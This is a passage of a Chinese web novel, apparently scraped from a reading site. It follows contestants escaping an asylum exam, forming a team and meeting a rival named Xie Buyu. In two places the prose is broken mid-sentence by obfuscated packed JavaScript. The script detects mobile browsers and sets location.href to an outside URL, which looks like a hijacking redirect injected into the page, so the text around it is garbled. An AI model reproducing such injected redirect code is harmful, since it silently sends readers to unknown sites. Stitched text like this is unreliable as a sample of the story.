裴宿吼道:“得了吧你,真靠不住。官肆!!!戚灯醉呢,快把他放出来,顶不住了。” 留山挣脱束缚,再次缠上来。 裴宿边跑边躲,见着院长室里的东西就掏起来往留山身上砸。 “这他么题眼到底在哪,也不给个提示,我拿命找啊?” 裴宿一阵乱砸,不知道砸到了什么地方,突然跳出一声提示。 【题眼即将破解,请考生优先破解思路阻塞。】 - 官肆看着眼前的按钮,“思路阻塞”的屏障,既困住了院长室里的钥匙,也阻挡了重症病房外的其他人进来,屏障一旦关闭,门外的人将会破门而入。 而他走不了,因为按钮必须一只有人按,他手一放开,屏障就会重新形成。 ——他会死在这里。 他别无办法,除了……暴露他的身份。 官肆用手触摸屏障按钮,一声叹息落了下来。 “戚哥,我不是故意骗你的。” 他的手用力一摁,屏障瞬间消失不见。 门外的护士如蜂巢般挤了进来,眼神仿佛想要把官肆撕碎。 官肆甩出骷髅白骨伞,伞在空中飞速旋转,形成一道强大的防护屏障。 屏障威力强大,护士触碰到屏障,还未发出任何声音便化作了灰烬,消失在空气中,可于此同时,整个白色屏障也开始出现裂缝,一点一点如蛛网般蔓延开来。 官肆死死地摁着按钮,身影已经撑不住开始摇晃。 〈草,突然有点被惊到了,他为什么能这么相信裴宿贺逐一定会拿到钥匙?〉 〈他真没留后手吗?感觉他已经快要撑不住了。〉 就在此时,按钮周围出现一片黑雾,一只手从黑雾中伸了出来,挤开了官肆放在按钮上的手,摁在了按钮上。 官肆诧异地回头,看见黑雾渐渐消失,现出两个不太清晰的人影。 小羽对他莞尔一笑,温柔又伤感。 “谢谢你愿意带我们回家,我们的执念留在这里太久了,已经无法离开了,但我希望你能离开,快走吧,官肆。” “不要让你和你的爱人像我们一样,留在这所监狱里,痛不欲生。” 小羽和小言的身影逐渐融为一体,原本虚无缥缈的魂魄也逐渐凝实,仿佛变成了一个真正的人。 【你带她们回家,她们也会送你回家,这是人与人之间的双向桥梁。】 【恭喜考生官肆解锁隐藏答案:双向援助。】 小羽道:“快走!” 官肆望着她们,说:“谢谢。” 如果官肆没有多此一举地让裴宿和贺逐带走小羽和小言的尸体,就不可能获得他们的帮助,这场考试就是注定的死局。 向死而生,才能死里逃生。 骷髅白骨伞在空中飞速旋转,还未破损的屏障抵住了所有护士的攻击,护着官肆朝103走去。 官肆的脸色越来越差,整个人已经快站不稳了。 〈啊啊啊啊,要通关了!官肆小哥哥加油啊啊啊!〉 〈天哪,我看了好多遍疯人院的考试,从来没见过“双向援助”的成就,根本不知道这场考试还能这么通关。〉 〈护士长过来了!!!不要啊啊啊啊。〉 正当官肆即将踏进103,重回密道时,背后传来了护士长的嘶吼声——护士长已经挣脱束缚赶到了。 眨眼之间,护士长已到了官肆面前,她手里握着一把手术刀,朝着官肆的屏障狠狠一扎。 “哐嚓”一声,屏障破成了万千碎片,在空中化为白光,消失殆尽。 官肆已经没有力气了,他的眼前变得模糊起来,脑海里一阵恍惚,浮现出一个场景—— 画面里,有人破开了他的屏障,将他用力往后一推,他落入了身后的朱红大门内,门在顷刻之间阖上,把他彻底锁住了。 他顾不上腿上的伤,慌乱地往前爬,用力敲着门,高声喊着:“不要、不要,求你了,放我出去,放我出去……” 官肆一遍一遍地喊着,眼泪顺着面颊往下落,“求你了,不要……” …… 103里。 护士长紧握手术刀,再次发动攻击,再次加强的护士长已经不是一般人能抵挡的了,她的速度快得仿佛一道闪电。 〈完了完了完了。〉 〈我就说吧,这场考试三个人就是很难过,就算有隐藏成就又怎样?还不是一样得死。〉 〈呜呜呜,我才粉上77和44,不要啊呜呜呜呜,我的墙头就这么没了吗?〉 刀刃在空中划出一道残影,护士长双手颤抖着,握刀的力度却丝毫不变,快准狠地朝着官肆的眉心扎了下去。 下一秒。 面前的人睁开了眼,露出一道凌厉的目光。刀刃稳稳地停在了眉心前,一双修长的手握着白刃,让手术刀再也没法往前一分。 血液顺着刀身往下流,滴滴答答落在地面上,在空旷寂静的房间里清脆而响亮。 戚灯醉和她对视着,语气漫不经心:“护士长,你的女儿呢?” 〈靠啊啊啊啊啊,戚神回来了。〉 〈卧槽牛逼,节目效果拉满了!〉 〈戚神,你一声令下,我们立刻拥护你为学院新神,我不允许任何人忤逆你!〉 护士长神情一滞,手上的力道突然变弱了。 她睁着空洞无神地双眼,喃喃自语道:“我、我的女儿呢……” 〈?啥女儿,护士长有女儿?〉 〈前面有这段剧情吗?〉 〈好像没提过吧……〉 戚灯醉接着道:“让我猜猜,你的女儿是小羽,还是小言呢?” 他们最初来到疯人院时,在101房间里,护士长在送药的时候看见了男扮女装的官肆,出乎意料地神态温和自然,从那时起,戚灯醉就觉得护士长的身份不简单。 她的动作比一般人都轻柔,完全不像对待普通病人。 101的病人一定有什么特殊的地方,才能让已经接受改造的护士长抵挡住药物的侵蚀,恢复正常。 1号病人和其他病人唯一的区别,就是外貌,或者说虚假的性别——1号病人有异装癖,经常以女装示人,很可能在护士长眼里,1号病人就是女人。 所以,护士长对“她”优待的原因,不难猜到。 听到戚灯醉的话,护士长松开手,手术刀落到地上的血滩里,血珠溅到了护士长的衣服上。 护士长的双眼缓缓流下血泪,“小羽……你在哪?” 戚灯醉的脸上没有任何慌张,他抹了一把手里的血痕,动作慢条斯理,仿佛斯文优雅的贵公子,“她被困在了疯人院里。” “困在了疯人院?” 护士长重复了一遍,神情蓦然又扭曲起来,“不!我的小羽不能困在疯人院,她不能和我一样困在疯人院。” 血泪从护士长的脸上滚下来。 “那个贱人为了一个小三把我送进疯人院,他想要困我一辈子,他不告诉女儿我在哪,我……我见不到女儿。” 仿佛失去了力气,她双腿一弯,跪了下来,神情失魂落魄,一边喘息,一边哽咽道:“我的女儿,那么聪明,她考上了最好的大学,前程似锦,她怎么能……怎么能和我一样,困在疯人院呢?” 她还记得,那年她正在工作,小羽给她打电话,拿着录取通知书,在镜头前晃了晃,笑道:“妈,看看这是什么?” 镜头聚焦,护士长看清楚了通知书上面的字,眼底满是惊讶,“小羽,你考上啦?” 小羽冲着母亲甜甜地笑,说:“妈,我可以和她去一个学校了。” 护士长讶异,片刻后又转为无奈的笑容,她知道以小羽以前的成绩,想要考上这所大学有多难,她不忍心让女儿不高兴,可又着实担心。 “你就这么喜欢她?她是个女孩子呀,到时候她要是不喜欢你了,结婚了,你可怎么办?闺女,你可得考虑清楚啊。” 小羽托着脸,说:“妈,小言不是这样的人,她经常来我们家玩,你还不知道她是什么样的人吗?妈,你放心吧,我和小言,以后就能一起给您养老了。” 护士长叹气道:“好,好,这可是你们说的,我等着。” 在那个没人理解小羽和小言的时代,作为小羽的母亲,她给了这两个女孩最大的尊重,即使再担忧,可对着两个自己从小看到大的孩子,她也说不出一句重话。 “我可以带她走。”戚灯醉说。 他没有告诉护士长,其实她的女儿已经死了,在五年前,就困在了103的密道里,活活饿死了。 他眼神一凝,说:“让开。” 护士长跪爬到戚灯醉的面前,说:“你一定要带走我的女儿、我的女儿……她不能困在这里,我求求你。” 这一刻,好像所有人都忘了,这个跪在地上为了女儿苦苦哀求的女人,是这个考场的其中一个boss。 “好。”戚灯醉踏进密道,“保重。” 考场关闭后,他不知道这个可怜的女人何去何从,这声保重,是他唯一能对她说的。 - 另一头,裴宿和贺逐也带着钥匙赶了出来,三人互相过了一个眼神,什么话都来不及问,齐齐朝着疯人院门口奔去。 “哐当”一声,锁打开了。 脱离险境后,戚灯醉的脸色沉得吓人,话都到了嘴边,还是忍住了。 大门被重新锁上。 留山站在里面,只身一人,身影修长,他望着门外,眼神中仿佛带着向往,片刻之后,却转为了释怀。 铁栏一样的大门好似真的“监牢”,将留山和他们永远地隔在了两头。 留山转身离去,身影融于夜色。 整个疯人院都在他的掌握下,小羽和小言,乃至护士长的故事,他都知道了。 他不后悔,只是有些累了。 所以,他甘愿留在这里,接受审判。 【恭喜考生解锁隐藏解题思路:向留山揭开小羽和小言的死亡真相。】 裴宿说:“钥匙拿到后,他就没再攻击我了,可我怕他诈我,没敢停留就跑了。” 现在看,留山可能是真的不想杀他。 留山其实是个很矛盾的人,他既渴求治疗病人,心存善心,却又在向善的途中迷失自我,成为不择手段的刽子手。 可他偏偏坏又坏得不彻底,放过了小羽和小言。 最后恶人没做尽,好人做不了。 ——反而困死在了善恶之间。 戚灯醉想起来了这场考试的考题: 【埋葬过无数病人的疯人院,再次迎来了四位精神病人,这里的病人或疯或痴,困于这所“监牢”。】 是啊,这所疯人院里困住了太多人。 困住了割舍不下亲情的老院长。 困住了执念成病的医生留山。 困住了彼此相爱的小羽和小言。 困住了深爱女儿却成为怪物的护士长。 甚至差点困住了他们自己。 疯人院里埋葬的不只是病人,还有太多太多人的一生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961531|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“逃离疯人院”,既是空间意义上的逃离,也是心灵意义上的解脱。 【恭喜考生戚灯醉、官肆、裴宿、贺逐破解最终考题,逃出疯人院。】 戚灯醉交出官肆离开重症病房前顺走的报告记录。 【恭喜考生戚灯醉、官肆带走了人体实验的报告记录,将疯人院的罪恶公之于众,成功破解加分考题。】 【正在结算各位考生本次考试的答卷分数……】 裴宿碰了碰戚灯醉的肩,说:“等会儿一起去新生报到大厅?” 戚灯醉道:“你们先去,我有事。” 裴宿疑惑道:“什么事?考试不都结束了吗?” 戚灯醉的声音耐人寻味,“算账。” …… 【《逃离疯人院》关键物品——白瓷留香花瓶,恭喜考生戚灯醉解锁本命武器——???】 〈我靠,啥情况,为什么武器没显示?〉 〈第一次遇见这种情况,蚌埠住了。〉 〈难道问题不应该是为什么拿到武器的是戚灯醉吗?〉 〈楼上真的,我厌蠢症犯了,裴宿有长鞭,贺逐有傀儡丝,官肆有骷髅白骨伞,缺武器的不就只有戚灯醉了吗?当然是给他啊。〉 〈这就默认官肆有武器了?他是戚灯醉的副人格,为什么他能有武器?而且这武器明显已经是进化过的产物了,威力着实有点离谱了。〉 〈很好奇啊,有人去新生报告厅蹲一下他们吗?〉 〈他们要出考场了,走走走,去找找看呗。〉 【本次考试分数结算:戚灯醉、官肆,均为95分,裴宿、贺逐,均为90分。】 【恭喜考生戚灯醉、官肆、贺逐、裴宿,从一介学习渣LV.5升级为平平无奇LV.4。】 【考试已结束,正在前往新生报告厅……】 戚灯醉再次睁开眼,眼前满是人群,一个“新生报告厅”的支架摆放在面前。 机器人180°转了半圈脑袋,声音毫无波澜:“欢迎新生来到灵异学院,正在为您分发学生证……已为新手投放学生证和书包。” 【考生姓名:戚灯醉 考生等级:平平无奇LV.4 考生积分:95 考生排名:未上榜】 【考生姓名:官肆 考生等级:平平无奇LV.4 考生积分:95 考生排名:未上榜】 戚灯醉没来得及细细查看,便被突然出现的人挡住了视线。 他抬头一看,面前的人勾着一双桃花眼,眼角微微上扬,带着一抹不经意的笑意,眉宇间自有一股风流气韵。 他身着一身红衣,虽然面容陌生,但是却无端给戚灯醉一种熟悉之感。 这人扬了扬嘴角,说:“大美人,来我战队吗?” 戚灯醉抬眼问:“你们战队几个人?” 这人面不改色:“一个。” 戚灯醉:“我凭什么要来你们战队?” 这人声音轻快:“凭你好看啊。” “滚。”戚灯醉言简意赅,侧身准备进入新生报告厅,红衣男人再次挡住他,不甘心地自荐道:“虽然我们战队只有我一个人,但是我以一敌百啊,我一定能罩着你。” 戚灯醉挑了一下眉,抬手就往他脸上给了一拳。 谁曾想面前的红衣男人不仅没生气,反而好似回味般摸了摸脸,小声自言自语道:“嘶,这种风格,有点熟悉啊……” “等等……” “我靠,戚灯醉?!” 红衣男人睁大眼睛,简直不敢相信:“你不是铁臂战士、八尺大汉吗?” 戚灯醉:“…………” 戚灯醉:“你有病?” 红衣男人急忙道:“你怎么不认识我了,我是裴宿啊!” 戚灯醉冷笑一声:“没人想知道。” 裴宿脸皮比城墙还厚:“戚大美人,我只是对你有那么一点误解,别生气嘛。” 不怪他刻板印象,实在是每个新生的第一场考试,都太魔幻了,长成啥样的都有。 所以在考试里看见戚灯醉的时候,即使他看着很普普通通,但裴宿脑子里还是自然而然就脑补出了壳子下的人是个超有安全感的肌肉猛男,结果没想到,戚灯醉的本相居然是个帅得极其符合他审美的大美人。 戚灯醉道:“行了,我先去新手报告厅。” 裴宿道:“我陪你一……” 背后有个人拽住了他的领子,裴宿转过身,看见面前的人剑眉星目,眉间含着煞气,宛如黑/道老大找上门催债。 这人冷冷道:“裴宿,跟我走。” 裴宿眼神上下打量,问他:“你怎么跟个黑无常一样了,上次见面你那套衣服挺好看的啊。” 贺逐道:“跟我去收拾东西,我加入你战队。” 裴宿道:“谁要你了?” 他用手比了个手势:“无人在意。” 贺逐知道自己态度有点冒犯,试图把生硬地语气放软:“我的东西在宿舍,你帮我取一下,我加入你的战队。” 裴宿:? 他狐疑了一眼,没搞懂贺逐怎么突然对他态度大变了,他俩才见面,怎么他就这么热情要加入自己战队了。 不过,既然他愿意来,实力也不错,裴宿也没有拒绝的道理。 他冷哼一声:“这还差不多,走吧。” 跟着贺逐走了几步,他突然想起什么,回头对戚灯醉说:“戚大美人,记得来我战队啊!对了,我宿舍密语是123456,输这个就能来我宿舍了。” 戚灯醉:“……………” 这密语,每天得被多少人骚扰啊。 10. 谢君不语 新生报告厅人山人海,不过有了这副连裴宿都差点认不出来的皮囊,戚灯醉并没有暴露身份。 意识海里,白色小光球晃悠着一根小豆芽,戳了戳身边的黑色光球:“戚哥,不要生气了。” 一朵水灵灵的蓝色小花轻轻一扭,弹开了面前的小绿芽。 官肆再次戳了戳:“戚哥,我真不是故意骗你的,真的,我也不知道为什么我就有了这个武器。” 戚灯醉依然不理他。 官肆咳了咳,夹着嗓子道:“戚哥,您的小官向您发送了一个道歉。” 戚灯醉嘴角轻微勾了一下:“驳回。” 官肆在光球身上画了一个爱心,“您的小官向您发送了一个爱心,请接收。” 戚灯醉:“拒绝接收。” 豆芽蔫了:“戚哥,我真的知道错了。” 戚灯醉问他:“错哪了?我给你时间好好反省一下。” 官肆立刻开始反省:“我不该骗你,我不该瞒着你,我不该背着你悄悄绑定武器。” 戚灯醉突然问:“吐了几次血?” “什么?”官肆一怔,回忆了一下,发现自己一路在吐血,根本不知道吐了多少次了,“两……次?” “是吗?” 官肆有些心虚:“也……也可能是三次。” 戚灯醉弹了一下白色小球头上的豆芽,声音听不出喜怒:“官肆,你当自己是九尾狐么?这么多条命可以玩?” “戚哥……”官肆心中一动,好像知道戚灯醉为什么会生气了。 戚灯醉接着道:“打不过可以跑,你都能灭掉那群护士了,撑到我醒过来很难么?非要拿自己的命来作践,官肆,看不出来,你倒是这么喜欢受虐?” 这段话并不客气,也并不委婉,但是官肆能感受到戚灯醉对他潜在的关心。 他决定先顺顺自家戚哥的毛,关键时刻,先把戚灯醉哄好才是第一要务。 官肆道:“我知道了,戚哥,都是我的错,别生气了,我下次不会了,下次遇到危险,我一定把战场留给你!” 才不。 O.o 下次还敢。 戚灯醉不知道官肆的心理活动,听到官肆认错态度如此良好,他也没法再冷着脸,只好道:“先去报道。” 官肆:“嗯。” 两人来到报告台,这里贴着很多告示,基本介绍了灵异学院的大部分内容。 【战队赛介绍】 在三场考试之内,考生必须加入战队,否则,系统将会自动为您匹配战队。 战队由四个位置组成,分别是: 以输出、瞬杀为特长的主攻位。 以防御、免疫为特长的主防位。 以治疗、增益为特长的辅助位。 以团控、破阵为特长的战术位。 在第三场考试后,将会开启1v3“公平”战队赛,双方战队各派一位成员作为攻方(通常为主攻位),剩下三位成员作为守方,相互PK,决出胜负。 也就是说,裴宿这个缺心眼的,因为一个人的外貌就敢随便选人,要是挑到一个空有容貌而没有能力的混子花瓶,就是把胜利往对方手里送,嫌对方赢得不够轻松,纯纯演员行为,放到论坛上能被人骂死。 当然,因为是1v3模式,所以如果主攻位选得好,甚至有可能直接力挽狂澜,改变整个战队赛的最终结果。 当年的微雪战队,可以说霸榜战队赛第一,他们队伍里的主攻位是当时的NO.1,强得简直跟个怪物一样。 除了NO.2有一敌之力,同期其他人几乎都是被他吊打。 而他们队剩下的人,一个NO.3,一个NO.4,也是强者中的强者,除了一个最后加入的那个新人拖了后腿以外,整个微雪战队几乎是无人能敌。 报告台前悬着一本书,书页哗啦哗啦地翻动着,上面浮现着一串鎏金文字: 【考生戚灯醉/官肆,你的下一场考试将在:30天后。】 其他新生已经开始窃窃私语了:“靠,还真跟高中月考一样啊,一个月考一次,要不要这么折磨人。” “是啊,这一个月能干嘛啊?难不成就在这个学院里待着?不得长出草啊。” 【正在为考生发放灵异学院地图……】 【已发放至背包,请注意查收。】 戚灯醉点开一看,发现这个学院什么都有,学院左上方是活动中心,点开有介绍,里面提到,活动中心每30天,也就是一场考试就会更换活动,目前的活动居然是地下馆擂台。 擂台? 这倒是提起了戚灯醉的兴趣,他指尖轻触,点了点地图里的位置,“走,去看看。” 地下馆擂台采用的是下注+PK的模式,下注的人押擂台上的选手是输是赢,若是选手赢了,将会获得败方下注者的一半押注,同时,胜方押注者也能获得另一半押注。 败方选手并不会有损失,但由于败方下注者输得一干二净,选手难免得承受下注者的怨气。 灵异学院的确有“禁止在校内进行暴力行为”的规定,但是规矩是死的,人却是活的,只要你能强到躲过校园系统的监察,你就可以随心所欲。 以至于,曾有选手在擂台赛输了之后,竟然被下注者在回宿舍路上拦截围杀了。 戚灯醉到地下擂台的时候,台上的人刚刚击败对手,那人戴着一个面容狰狞的獠牙面具,手里握着一把拂尘,如鬼似佛,拂尘微微一挥,便将对手从台上击退到了台下好几米远。 “谢君!谢君!” 台下一片欢呼声。 “这是谢君这个月第二次上台了吧,每次谢君一上台,压他稳赢,虽然赔率被拉低了,但是押了就能赢啊,爽死了。” “好想去谢君的战队,不过他好像隐藏了战队,唉。” 这位被尊称为“谢君”的人在下注者的簇拥中下了台,他眉眼一动,眼神忽然落到了戚灯醉身上。 戚灯醉看着他直直走了过来,然后行了个不知是鬼道还是佛门的礼,声音低沉而悦耳:“要跟我打一下么?” 戚灯醉勾了勾唇,将杯子里的酒一饮而尽,红酒顺着他纤细的脖颈落入胸口,留下一条暧昧又色''情的红痕。 他仰头笑道:“你很强,所以,我为什么要和你打?” 谢君本身就自带关注度,加上戚灯醉的外貌着实吸眼,顷刻就引来了大片观众围观。 “这是谁啊,好帅,想约。” “啊啊啊,好涩,这是新生?喜欢男的还是女的,靠,他是不是看过来了一眼,我靠我要湿了。” “?不是吧,人家还在前面呢,你们声音小点,收敛一点,这里不是无人区啊。” 谢君波澜不惊,说:“因为我把你当做我的对手,对手之间,切磋一下不是常有的事吗?” 戚灯醉道:“既然是要和我打,那总该自我介绍一下吧?” 这人扫了一下拂尘,“谢不语。” “谢不语?”戚灯醉说:“我不跟你打。” 谢不语闻言,露出了一个笑,“为什么?” 戚灯醉淡淡道:“合眼缘罢了。” 谢不语愣了一下,又行了个礼,举手投足和他本身恐怖骇人的外表大相径庭,“你的性格真的很有意思,不过我更喜欢和这样的人做对手,然后——击败他。” 拂尘在他手里突然动了起来,仿佛隐藏有一阵强劲的风将拂尘吹动,他满头白发与拂尘融为一体,与身上绣着金丝纹路的黑衣形成鲜明对比。 “戚灯醉,下次再见。” 拂尘一挥,谢不语便消失在了地下馆。 ——他知道自己是戚灯醉。 “官肆?” 官肆应了一声,“戚哥,怎么了?” 戚灯醉问他:“怎么在走神?” 官肆摇了摇头,说:“在想他的身份罢了,他竟然知道戚哥的身份。” 戚灯醉:“看来这个所谓的新生考试换脸机制,也不是那么万能。” “机制总有漏洞,不可能十全十美。”官肆道,“戚哥,要不要上台打一场?” “不必了。”戚灯醉看着谢不语刚刚消失的地方,说,“结识了一个有趣的人,也不是一无所获,去裴宿的宿舍看看吧。” - “无事献殷勤,非奸即盗,说吧,你有什么目的。”裴宿环着手,靠在宿舍门上,和贺逐谈判。 贺逐道:“都已经一起合作过一场考试了,你我的实力也互相有数了,我加入你战队,难道不是理所当然?” 裴宿摇头,明明心里已经打算把贺逐招进来了,可偏偏恶趣味地想逗弄他一下:“可是你不符合战队的要求。” “什么要求?” 裴宿指着他,“脸。” 贺逐:“………” 贺逐脸色微沉,“副本里一口一个贺兄,说要陪我一起死,做对野鸳鸯,让我给你守好路,一出副本就翻脸不认账?裴宿,你倒是玩得挺花啊。” 裴宿理直气壮:“我怎么了?人之风流,实乃天性,我就是这么一个人。” “好。”贺逐面色铁青,甩上门就走了。 戚灯醉看着他怒气冲冲的样子,问裴宿:“你把他怎么了?还能让他气成这样?” 裴宿心情毫无波澜:“自作多情,我不过随口几句,这几场考试下来,我撩过的人没有十个也有八个,他倒是当真了。” 纯爱战士官肆闻言道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961532|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚哥,你千万别跟他学习,他这样的,迟早会翻车的!” 戚灯醉“嗯”了一声,对裴宿说:“那你怎么打算的,贺逐还来不来你战队?” 裴宿说:“当然得来,他东西都在我这儿,还能走了不成?放心吧,他没多久还得回来的,我有经验得很。” 戚灯醉:“…………” 有猫腻。 他俩不是才认识了一个副本的时间吗?怎么就开始你侬我侬、打情骂俏了? 难不成他俩背着自己偷偷在考场里好上了? 这么快?!裴宿这速度也太惊人了。 不愧是能让女鬼都动心的人,戚灯醉甘拜下风,“贺逐是什么位置?” “主防位,我是阵法师,自然是战术位,你这么能打,正好就是主攻位,至于辅助位嘛……来日方长,还能慢慢找。” “我呢?”官肆在不知道的角落突然发出一声疑问。 裴宿疑惑道:“你是戚灯醉的副人格,和他当然就是一个人,他是主攻位,你自然也是,还分什么你不你我不我的?” 官肆道:“我也能做辅助位。” 裴宿没好气道:“上场考试要不是因为你的存在,也不至于让系统检测失败,少了一位考生,白白加大了副本难度,除非你和戚大美人脱离开来,否则怎么可能做得了辅助位?即便你能力再大,你和戚灯醉终究是共用一个身体,抽不开时间。” 官肆还想发声,裴宿道:“好了好了小美人,你就和戚灯醉一起就行了,辅助位先空着,慢慢找。” 官肆:“……” 他被“小美人”的外号雷得里焦外嫩的,忍不住感慨,裴宿这爱乱取外号随意套近乎的习惯还真得改,不然总有一天翻进阴沟里沾一身泥。 不多时,贺逐果然回来了,他的气还没消下去,但是比起刚刚来说好太多了。 官肆简直佩服裴宿拿捏人心的能力,贺逐真是被他吃得死死的,换他根本不可能厚着脸皮再回来,大不了行李丢在这儿不要了。 清理出一个空闲的会议室后,四人聚集到一起,商量战队的后续发展。 走之前,贺逐道:“戚灯醉,你的武器显示出来了吗?” 戚灯醉打开背包,看见原本显示着“???”的地方,已经变成了一把琉璃扇。 “琉璃扇?”裴宿不解道:“疯人院里根本就没有相关的东西,唯一能扯得上关系的也就只有那个白瓷做的花瓶,可瓷和琉璃怎么能相提并论呢?这根本就不是一个东西啊,你的本名武器怎么会是琉璃扇呢?真是奇了怪了。” 戚灯醉道:“或许本命武器并不一定非要是考场里的东西。” 裴宿摇摇头,说:“不可能,目前还没有任何人的本命武器不是从考场里幻化出来的,难不成琉璃扇是和疯人院里的其他隐藏考题相关?” 他问:“你用过扇子了吗?” “没有。”戚灯醉幻化出扇子,说,“武器刚刚才出现,我还没有测试。” 他握着手里的琉璃扇,琉璃材质摸着很舒服,其实按照武器品质来说,他反而是赚了,毕竟如果是从疯人院里选武器,他更有可能拿到一把陶瓷扇子,而不是晶莹剔透的琉璃扇。 琉璃扇并未打开,在他手里滑动了一圈,迅速飞了出去,砸上了会议室对面的玻璃,只听一声“哐擦”,琉璃扇完好无损,还顺着飞出去的轨迹重新飞回了戚灯醉的手里,而对面房间的玻璃已经碎了一地。 琉璃扇确实威力惊人。 戚灯醉又将琉璃扇打开,扇子发出清脆的响声,他才发现里面的扇纸也不是一般的材质,而是一种特殊的布,不仅坚实得不行,还非常薄,如刀片一般,仿佛能把人的血管直接割破,让人发怵。 某种意义上来说,他的武器和官肆的骷髅白骨伞确实有些相似,都是一个简单的日常用品上暗藏玄机,隐藏了诸如刀片、尖刺一般的杀器。 官肆的声音带着一些欢快:“戚哥,恭喜你拿到了本命武器。” 戚灯醉道:“你能用我的武器吗?” 官肆摇摇头:“应该不能。” 戚灯醉道:“下次切换身体的时候你试一下,或者……你告诉我你是如何召唤骷髅白骨伞的,我来试试。” 官肆内心咯噔一下,莫名品出了话里的深意。 官肆知道戚灯醉从来没有停止过怀疑,从最开始他出现的时候,戚灯醉就不觉得他是他的副人格,因为没有一个副人格在切换的时候会变虚弱,乃至整个身体都变得羸弱不堪。 而进入这个疯人院的考试之后,戚灯醉对他的怀疑就更加强烈了。 少掉的一个考生、多出来的一把武器……一切都在指向着一个事实——官肆很可能不是戚灯醉的副人格。 11. 血色佛莲 戚灯醉不过随意提了一嘴,虽然激起了官肆的不安,却并没有抓着不放。 即使他再怀疑官肆的来历,可毕竟是自己相处了这么久的人,感情肯定是有的,他希望官肆主动告诉他,而不是强行让他开口。 戚灯醉声音淡淡的,“好了,事情聊完了,我先回宿舍休息。” 每个学生的宿舍都是单独的空间,若是没有宿舍主人的邀请或者掌握密语,是无法进入他人宿舍的,也算是灵异学院对考生的保护。 灵异学院对学生还算大方,宿舍内部可以根据人的意念进行变化,随意幻化成自己想要的样子,少了很多布置的麻烦。 戚灯醉刚进宿舍时,整个房间一片空白,家具什么的更是都没有,只剩白色的墙壁和木制的门,窗户连玻璃都没有,简陋得可以。 他简单打量了一下房间的构造格局,阖眼心头一动,霎时间,房间的灯光从冷调色变成了暖调色,各种家具一应俱全,简朴而不失精致。 自从出来考场后,戚灯醉身上就不再是之前考场里的那套病患服了,而是他来到灵异学院之前做打手的那套常服。 他一边解扣子,一边在心里对官肆嘱咐,“我去洗澡,你睡会儿。” 官肆的目光落到镜子中的戚灯醉身上。 宽肩窄腰,凹陷的锁骨线条精致明显,在暖色光线的衬托下平添了几分暧昧。 戚灯醉眉尖一挑,眼神冷淡地脱下衣服,白皙的皮肤没有给人一种柔弱之感,反而因极具攻击力的气质而更显性感和压迫力。 官肆大脑一片空白,一根幼芽直直立着,晶莹剔透,仿佛清晨沾了露珠的绿植,他小声道:“好的,戚哥。” 十分钟后。 官肆红着脸从浴室里走出来,感觉自己的心里有点崩溃。 这该死的身体。 为什么又又在这个时候切换了!!! 门前就是戚灯醉刚刚照过的全身镜,官肆完全不敢看,眼神闪躲地从镜子面前踱着步子挪过去。 等余光不小心瞥见了戚灯醉修长有力的腿,官肆“蹭”一下,感觉气血疯狂上涌,意识海里的小绿芽挺直地转着,快得跟螺旋桨一样。 “这么扭捏做什么?怕看见?”戚灯醉的声音慵懒而性感,听得官肆骨骼都要酥了,“都是男的,大大方方走过去不就行了。” “啊。”官肆呆呆地应了一声,脖子上涌起了红潮,他挪了半天总算挪到了卧室,一把拉起了被子,将整个人埋了进去,“戚……戚哥,现在怎么办?” 戚灯醉笑了一声,弹了一下他头上的绿芽,说:“眼睛闭上,睡觉。” 官肆耳朵烫得不行,乖巧道:“好。” 他闭上眼,感受着身上的体温,试图压下心底的躁动入睡。 半晌后。 官肆忍不住蹭了一下戚灯醉头上的蓝色小花,说:“戚哥,我睡不着。” 戚灯醉闭着眼睛,意识海里无端生出一道光,轻轻地包围住了小白球,官肆的小嫩芽舒服得软绵绵地垂在他的头上。 一道低沉悦耳的声音贯穿了他的灵魂。 “睡吧,官肆。” 语毕,官肆只觉心中一阵清风拂过,困意骤然袭来,笼罩住了他的全部意识,将他裹挟着拖入了梦境。 …… “滴——嗒——滴——嗒——” 钟表敲击的声音清晰可闻,仿佛一道倒计时,一秒一秒地响着。 梦境中的官肆靠在一扇巨大而生着锈的朱红铁门上,声音颤抖:“戚哥,你在吗?” 门的另一边,戚灯醉声音微弱,“我在。” “滴——嗒——” 倒计时还在继续。 官肆忍不住又问:“戚哥,你在吗?” “我在。” “戚哥,你睡了吗?” “没有。” …… “戚哥?” “嗯……” 心跳越来越快,官肆把头深深地埋在臂弯里,说:“戚哥,你在吗?” “戚哥?” “戚哥……” 无人应答,四下沉寂得可怕。 “滴———” “嗒———” 钟表声归于平静,画面骤然转黑。 “戚哥!” 官肆如同被浇了一盆冷水,浑身发凉,瞪大眼睛猛然惊醒。 …… 谢不语睁开眼,眼底盛着一潭静水。 “您已经认出他来了吗?” “嗯。”谢不语的声音无波无澜。 莲灼道:“您为什么这么在意戚灯醉?他到底……” “他是我的对手,我希望他死在我的手里,而不是其他地方。”谢不语一只手捏着他的下巴,声音平淡:“你只是我的一朵佛莲,不该问的就不要问,明白么?” 莲灼垂着眉眼道:“我明白了。” 谢不语一甩拂尘:“下去吧。” 莲灼心中失落,点了点头,走了一半,突然回头说:“师父……下场考试如果不出意外,戚灯醉他们可能会去“昼夜校园”考场。” “我知道。”谢不语闭上眼,说:“莲灼,我是为你好,不该你知道的事情,就不要多此一举了,否则,只会害了你。” 莲灼沉默了一瞬,说:“莲灼明白,师父,我先下去了。” 谢不语道:“好。”重新阖上了眼。 - 